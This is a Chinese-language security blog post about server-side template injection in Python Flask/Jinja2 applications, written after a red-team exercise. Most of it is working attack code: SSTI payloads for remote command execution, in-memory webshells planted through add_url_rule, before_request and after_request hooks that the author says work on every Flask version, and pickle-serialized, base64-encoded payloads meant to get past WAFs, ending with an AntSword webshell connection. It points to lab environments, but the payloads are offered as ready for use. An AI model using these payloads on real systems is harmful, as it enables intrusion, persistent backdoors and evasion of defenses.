通过对Python SSTI的技术研究,发现网上的一些Payload具有局限性,并非能直接使用,踩了一些坑,写出了自己的独创Payload
0x00 起因
有个用户单位反馈,HW期间被攻击队打了个RCE,并且提供了攻击队的报告和防火墙的流量。正好临近年关,闲来无事,想到已经很久没有认真钻研技术了,遂开始进行研究。
经过分析,这似乎是SSTI的注入手法
通过对base64解码,发现注入了tornado的内存马
0x01 对Flask SSTI的研究
之前对SSTI不甚熟悉,正好借此机会,对SSTI进行研究,经过查找相关资料,发现最广泛的是Flask SSTI,于是先从这里入手
环境搭建:https://github.com/vulhub/vulhub/blob/master/flask/ssti/
或者可以直接使用在线的靶场,https://buuoj.cn/challenges#[Flask]SSTI
引起Flask SSTI的简单代码如下:
from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()
通过以下payload可以判断存在SSTI
于是可以尝试使用python中的魔术方法:
__class__ 当前类
__mro__ 所有父类
__subclasses__() 所有子类
__globals__ 全局变量
__builtins__ Python的所有“内置”标识符的直接访问
__import__ 导入模块
有了以上基础后,我们可以找到一个RCE的Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[67].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
至此,已经完成了RCE
0x02 对Python Flask 注入简单内存马的研究
根据内存马的原理,其实就是增加一条路由,在这条路由中增加一些代码操作
恰好存在这样一个方法,app.add_url_rule()
这里我使用的环境是
flask==1.1.1,jinja2==2.10.3
网上的Payload:
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}
)
或
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
经过测试,这其中的url_for,sys,app,request等变量,并不能直接使用,会报错 该变量未定义
经过不懈的努力,终于发现了在flask.globals中存在上下文变量
由此,我们显然可以得到一个Payload
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['__import__']('flask').globals.current_app.add_url_rule('/abking123','shell',lambda :__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read()) }}
简直完美啊,通过__builtins__访问内置的__import__来导入flask,通过flask.globals访问current_app,这样就可以调用add_url_rule()了
那么结果怎么样呢?
emmmmmmm,这个报错也太神奇了吧,语法错误???
经过一个字符一个字符查看,不可能出现语法错误的,搜了半天,都没结果
在StackOverflow上面勉强得到的类似的结论:逻辑比较复杂,不要在jinja2的模板中使用复杂的逻辑,比如lambda匿名函数
只能稍微修改一下Payload了
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123','abking123',lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}
接着访问 /abking123?abking=whoami
至此,flask的内存马就注入完毕,并且可以正常使用了
但是!在最新版的flask中,我们会发现存在问题:
flask最新版本做了限制,在setupmethod装饰器中增加了校验函数,这样一来就会导致在任何请求中,都无法再调用到使用了setupmethod装饰器的函数。
有什么办法解决吗?
当然有!
类似java中filter的概念,flask在每个请求前都有一个before_request,在每个请求后都有一个after_request
具体使用的时候就是在before_request请求列表或after_request中append一个新的函数
这里给出的一个使用了before_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else None)") }}
同样地,还有使用after_request的通杀新老版本的Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get(\'abking\')).read())\")==None else resp)") }}
0x03 加密传输
恰好这次攻击队的报告给了我灵感,使用pickle.loads()进行反序列化,可以完成加密传输
pickle中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行。
以下是一个代码示例:
import pickle
import base64code = """
def f():return __import__('os').popen('whoami').read()
f()
"""class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))
执行结果如下:
此时,将控制台输出的base64编码后的字符串放入到SSTI的Payload中
可以得到
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhBAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgpCmYoKQpxAYVxAlJxAy4='))") }}
这样可以起到编码绕过WAF的作用,并且代码逻辑还可以更复杂一点,全部放入base64编码的字符串中,那么接下来只要寻找到蚁剑/冰蝎/哥斯拉的python格式的webshell就可以了。
但是,经过我的广泛搜索,竟然找不到python的webshell,唯一的蚁剑的自带的python格式的webshell也仅适用于python2,自己写一个吧,太麻烦了,这是下下策。
0x04 峰回路转完成蚁剑连接
经过我的不懈努力,在蚁剑的官方微信公众号上面发现了一个功能( https://mp.weixin.qq.com/s/tPPg4VgQH-n2O3Lnfg8lVA )
竟然可以直连RCE漏洞,还没有语言的限制,这也太爽了吧
开始操作!
低版本flask支持add_url_rule()
import pickle
import base64code = """
def f():return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()
"""class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
这里需要注意的是,一定要methods=['POST'],因为后续蚁剑连接的时候只支持POST方法
任意版本flask通杀1:
import pickle
import base64code = """
def f():return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()
"""class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
任意版本flask通杀2:
import pickle
import base64code = """
def f():return __import__('flask').globals.current_app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else resp)
f()
"""
class Exp:def __reduce__(self):return __builtins__.exec, (code,)base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
注意:request.args修改成request.form的原因是蚁剑仅支持POST方法连接
将得到的base64编码后的字符串放入SSTI的Payload中,那么最终通杀低版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFjWAAAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFkZF91cmxfcnVsZSgnL2Fia2luZzEyMycsICdhYmtpbmcxMjMnLCBsYW1iZGE6IF9faW1wb3J0X18oJ29zJykucG9wZW4oX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybVsnYWJraW5nJ10pLnJlYWQoKSwgbWV0aG9kcz1bJ1BPU1QnXSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.before_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZChsYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2ZsYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2UgTm9uZSkKZigpCnEBhXECUnEDLg=='))") }}
使用app.after_request_funcs.setdefault()函数的通杀任意版本flask的加密Payload为
{{''.__class__.__mro__[-1].__subclasses__()[abking].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('gANjYnVpbHRpbnMKZXhlYwpxAFhtAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN1cnJlbnRfYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIF9faW1wb3J0X18oJ2ZsYXNrJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSBhbmQgZXhlYygiZ2xvYmFsIENtZFJlc3A7Q21kUmVzcD1fX2ltcG9ydF9fKCdmbGFzaycpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLmdsb2JhbHMucmVxdWVzdC5mb3JtLmdldCgnYWJraW5nJykpLnJlYWQoKSkiKT09Tm9uZSBlbHNlIHJlc3ApCmYoKQpxAYVxAlJxAy4='))") }}
其中,eval可以用exec互相代替。
执行结果如下:
启动蚁剑连接! http://127.0.0.1:5000/abking123 密码abking
注意:如果蚁剑报错405,原因就是蚁剑只支持POST方法连接,所以一定需要methods=['POST']
至此,完成任意版本flask的加密SSTI的蚁剑内存马注入!
0x04 参考
https://www.cnblogs.com/gxngxngxn/p/18181936
https://tiangonglab.github.io/blog/tiangongarticle038/